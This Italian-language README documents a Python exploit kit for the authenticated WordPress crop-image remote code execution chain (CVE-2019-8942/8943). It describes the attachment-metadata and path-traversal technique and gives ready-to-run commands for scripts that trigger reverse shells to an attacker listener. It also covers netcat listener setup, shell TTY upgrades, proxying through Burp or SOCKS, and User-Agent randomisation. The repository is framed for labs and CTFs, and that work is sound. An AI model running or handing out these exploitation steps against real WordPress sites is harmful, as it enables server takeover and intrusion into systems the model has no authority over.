
Kit di exploit Python per WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943
Implementazione in Python3 della catena di exploit autenticato per il crop delle immagini in WordPress. Il repository è organizzato attorno a due flussi di lavoro indipendenti: uno script manuale in stile OSCP e uno script completamente automatizzato con un handler di reverse shell integrato.
Utilizza questo solo in laboratori autorizzati, CTF, piattaforme di formazione o sistemi per cui hai il permesso esplicito di testare.
La catena di exploit prende di mira le vulnerabilità tracciate come:
CVE-2019-8942CVE-2019-8943Il modulo Metasploit pubblico per questa vulnerabilità descrive le versioni affette come:
WordPress 5.0.0 e WordPress <= 4.9.8
È necessario un account WordPress valido con permessi di caricamento/modifica dei media. In molti ambienti di laboratorio, un utente di livello Author è sufficiente.
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg è il carrier JPG predefinito utilizzato dallo script in stile OSCP. È incluso in modo che il flusso di lavoro manuale funzioni immediatamente senza dover cercare un'immagine casuale.
autoexploit.py è autonomo e include internamente un proprio carrier JPG esadecimale, ma può anche accettare un JPG personalizzato con -i.
python3 -m pip install -r requirements.txt
L'unico pacchetto Python richiesto è:
requests
Se desideri il supporto per proxy SOCKS, installa requests con le estensioni SOCKS nel tuo ambiente:
python3 -m pip install 'requests[socks]'
Entrambi gli script sono autonomi. Nessuno dei due importa codice dall'altro.
exploit_oscp.py mantiene il flusso di lavoro esplicito. Prepara il carrier dell'immagine, esegue la catena di exploit autenticato di WordPress, conferma l'esecuzione del comando e attiva una reverse shell verso il listener che hai avviato manualmente.
Non avvia automaticamente un handler e non utilizza Metasploit, Meterpreter o msfvenom.
Avvia prima il tuo listener:
nc -lvnp 443
Esegui l'exploit usando il default image.jpg:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py è progettato per la velocità. Può essere eseguito solo con le credenziali del target e proverà a selezionare automaticamente l'IP di callback e la porta del listener.
Esegue l'intero flusso di sfruttamento, avvia un listener locale, prova più stili di payload per reverse shell e apre una console interattiva più pulita con messaggi di stato locali colorati e gestione silenziosa dell'upgrade TTY.
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
Proxy HTTP tramite Burp:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
Proxy SOCKS:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
User-Agent personalizzato:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
User-Agent casuale:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
Non si tratta di un normale caricamento PHP. WordPress si aspetta contenuto immagine, elabora il file attraverso l'editor multimediale e crea un'immagine ritagliata. La catena di exploit abusa poi dei metadati degli allegati e del path traversal per posizionare un'immagine ritagliata all'interno della directory del tema attivo. Infine, il file ritagliato viene referenziato come template di pagina, così WordPress lo include come PHP.
Un JPG casuale con PHP inserito in metadati EXIF fragili potrebbe fallire perché GD può rimuovere o ricodificare i metadati durante l'elaborazione del ritaglio. Questo repository mantiene il flusso di lavoro chiaro:
exploit_oscp.py usa il image.jpg incluso per impostazione predefinita o un'immagine personalizzata passata con -i.autoexploit.py contiene un carrier esadecimale interno per rimanere autonomo.async-upload.php._wp_attached_file per influenzare il percorso di output del ritaglio._wp_page_template al nome del JPG ritagliato.0.Verificare che la versione di WordPress sia vulnerabile e che l'account possa caricare e modificare i media.
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug
Controllare l'IP di callback e il listener.
ip addr show tun0
nc -lvnp 443
Quindi eseguire nuovamente lo script OSCP con il --lhost corretto.
Usare esplicitamente l'opzione proxy:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
Installare il supporto SOCKS:
python3 -m pip install 'requests[socks]'
Le reverse shell di base sono spesso limitate. Lo script automatizzato cerca di aggiornare la sessione automaticamente. In modalità OSCP, aggiornare manualmente dopo aver ricevuto il callback:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Premere Ctrl+Z localmente, poi eseguire:
stty raw -echo; fg
All'interno della shell:
export TERM=xterm
exploit_oscp.py è intenzionalmente manuale:
autoexploit.py;LHOST e LPORT espliciti;Il flusso di lavoro previsto è:
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
La ricerca e la catena di vulnerabilità sono state documentate pubblicamente dai ricercatori originali e successivamente implementate in framework di sfruttamento pubblici.
Implementazione Python e flusso di lavoro di laboratorio di SpeatX.
Questo repository è fornito per test di sicurezza autorizzati, CTF, laboratori di formazione e ricerca educativa.
Non eseguirlo contro sistemi di cui non possiedi o non hai il permesso esplicito di testare.
| Script | Ideale per | Gestione immagine | Gestione shell |
|---|
exploit_oscp.py | Sfruttamento manuale/stile OSCP | Usa image.jpg di default, oppure -i custom.jpg | Avvii nc manualmente |
autoexploit.py | Uso rapido in laboratorio e test ripetuti | Usa un JPG esadecimale incorporato di default, oppure -i custom.jpg | Avvia il listener, attiva i callback e apre una console interattiva |
| Opzione | Obbligatorio | Predefinito | Significato |
|---|
-t, --target | Sì | Nessuno | URL base di WordPress target, ad esempio http://target.local/ |
-u, --username | Sì | Nessuno | Nome utente WordPress |
-p, --password | Sì | Nessuno | Password WordPress |
-i, --image | No | image.jpg | Carrier JPG da preparare e caricare |
--lhost | Sì | Nessuno | Il tuo IP di callback, solitamente il tuo IP VPN/tun0 |
--lport | Sì | Nessuno | Porta su cui è in ascolto il tuo listener manuale |
--proxy | No | Nessuno | URL del proxy, ad esempio http://127.0.0.1:8080 o socks5://127.0.0.1:9050 |
--user-agent | No | Integrato | Intestazione User-Agent personalizzata |
--random-user-agent | No | Disabilitato | Usa un User-Agent casuale simile a un browser |
--timeout | No | 20 | Timeout HTTP in secondi |
--debug | No | Disabilitato | Stampa output di debug HTTP e salva le risposte di errore utili |
| Opzione | Obbligatorio | Predefinito | Significato |
|---|
-t, --target | Sì | Nessuno | URL base di WordPress target |
-u, --username | Sì | Nessuno | Nome utente WordPress |
-p, --password | Sì | Nessuno | Password WordPress |
-i, --image | No | JPG esadecimale incorporato | Carrier JPG personalizzato opzionale |
--lhost | No | Rilevato automaticamente | IP di callback utilizzato dalla reverse shell |
--lport | No | Porta locale libera | Porta del listener locale |
--listen-timeout | No | 12 | Secondi di attesa per ogni tentativo di reverse shell |
--proxy | No | Nessuno | URL del proxy, ad esempio http://127.0.0.1:8080 o socks5://127.0.0.1:9050 |
--user-agent | No | Integrato | Intestazione User-Agent personalizzata |
--random-user-agent | No | Disabilitato | Usa un User-Agent casuale simile a un browser |
--timeout | No | 20 | Timeout HTTP in secondi |
--debug | No | Disabilitato | Stampa output di debug HTTP e salva le risposte di errore utili |